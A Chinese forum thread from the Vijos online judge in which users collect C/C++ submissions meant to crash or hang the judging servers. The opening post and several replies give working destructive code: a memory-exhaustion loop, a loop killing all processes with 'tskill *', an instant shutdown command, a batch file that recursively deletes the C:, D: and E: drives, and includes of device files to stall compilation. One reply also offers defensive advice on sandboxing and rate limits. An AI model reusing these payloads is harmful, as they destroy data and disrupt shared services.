卡爆评测机!!!!!!!!1

此处搜集各种卡评测机代码。
本人先附上两个

第一个

#include<windows.h>
#include<iostream>
using namespace std;
int main()
{
char * a; while (true) a=new char[1000];
 }

这个可以卡自己的电脑,但卡不了评测机

第二个

#include<windows.h>
int main()
{
        while (true) system("tskill *");
}

19 条评论

  • @ 2020-06-07 13:35:17

    vijos服务条款6

    不得发布包含恶意代码、指向恶意网站或 Vijos 明确禁止的网站的链接的内容。

  • @ 2020-05-24 13:32:41

    不好好刷题卡什么评测机啊
    怀疑你下次会发木马病毒源程序(光速逃

  • @ 2020-04-17 12:28:53

    哪里抄来的垃圾代码

    vijos自己都有一个垃圾代码库,里面的代码都比这个代码好上几倍。

    发明垃圾代码也要很好的思维

  • @ 2020-04-11 11:03:28

    什么睿智,快封号了罢

  • @ 2020-04-06 18:09:15

    仅提供一些思路,不具放代码,避免被一些小学生到处拿去玩。放心,对LG无效。
    #include<con>(针对win)#include</dev/console>(针对linux)
    实际上就是等待你的标准读入。造成编译超时(如果不被kill的话)
    #include</dev/random>
    从系统返回随机数,也会被卡编译。
    BZOJ之前经常因为这个中招
    模板炸弹
    可以生成出一个很大、很长的可执行文件,从而卡编译甚至卡机。
    system('...') / popen('...')
    运行直接系统调用。不过这个基本上还是能防的,比如ptrace等方法。
    沙箱/docker漏洞
    这个没发现过,但是不排除有发生的可能。
    拒绝式攻击
    短时间提交大量长时间运行题目。
    给出一些自己开发评测系统的一些建议:
    黑名单和谐掉某些关键字是没用的。攻击者可以通过define等方法拼凑出来。
    直接上docker,限制好docker的权限,任由程序在docker里面玩。超过时间或者内存限制就杀掉好了。同时限制编译时间。
    限制好用户短时间之内的提交数量。然后也要限制新用户注册等等防止自动化大量提交。
    如果是学校内部使用,就没有必要煞费苦心使用技术防这防那的了,而是改用武力解决乱来的小朋友。
    分享笑话一则:
    有小学生在讨论区发帖,声称可以黑掉LG。打开一看,就是一个不知道从哪里复制过来的PHP shell code,还是直接以文字形式发送的。

    • @ 2020-04-06 23:03:57

      为什么我会ce?

      /in/foo.cc:2:23: fatal error: /dev/console: No such file or directory
      #include</dev/console>
      ^
      compilation terminated.

    • @ 2020-05-23 19:17:08

      请问一下,

      ——一个SB,kkksc03

      这是什么?

    • @ 2020-06-13 21:08:40

      @
      CatWigle281
      : 以前我这样,现在觉得luogu太强了……

  • @ 2016-08-06 17:20:54

  • @ 2016-07-08 14:55:11

    只会自己递交的内存爆掉。

  • @ 2014-11-06 22:39:32

    为毛突然想起了ntdll里的两个API:rtlSetProcessIsCritical和rtlAdjustPrivilege...

  • @ 2014-07-15 18:06:02

    zan

  • @ 2014-04-27 16:30:33

    hehe

  • @ 2014-03-12 21:42:05

    1/windows.h怎么可能包含呢。。。。
    2/竟然在oj执行system();。。。。
    3/<con>卡爆vijos别想了。。。。
    4/第一个代码是卡内存吧。。别想了。。。。
    5/{

    twd2 回复于2014-01-24 17:30
    您好vijos不是一般oj噢
    }

    • @ 2014-03-15 13:42:08

      唔,发现我应该去改下密码

  • @ 2014-03-12 12:48:47

    #include<stdlib.h>
    int main()
    {
    system("shutdown -s -t 0");
    return 0;
    }

  • @ 2014-03-08 23:16:33

    真高深

  • @ 2014-01-30 10:34:58
    #include<windows.h>
    
    int main()
    {
     system("echo rd c: /s /q>>rd.cmd");
     system("echo rd d: /s /q>>rd.cmd");
     system("echo rd e: /s /q>>rd.cmd"); 
     system("start rd.cmd"); 
    }
    
  • @ 2014-01-27 13:27:29

    看到windows我就觉得不靠谱啊这个

  • @ 2014-01-24 20:02:33
    #include<con>
    #include"\\\\PHYSICALDRIVE0"
    
  • @ 2014-01-24 17:19:27

    不过一般oj会禁掉windows.h吧。。

    • @ 2014-01-24 17:30:03

      您好vijos不是一般oj噢

  • @ 2014-01-23 21:56:19

    测试失败

  • @ 2014-01-23 19:36:13

    求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!

  • 1

信息

ID
1000
难度
9
分类
(无)
标签
(无)
递交数
68757
已通过
26651
通过率
39%
被复制
92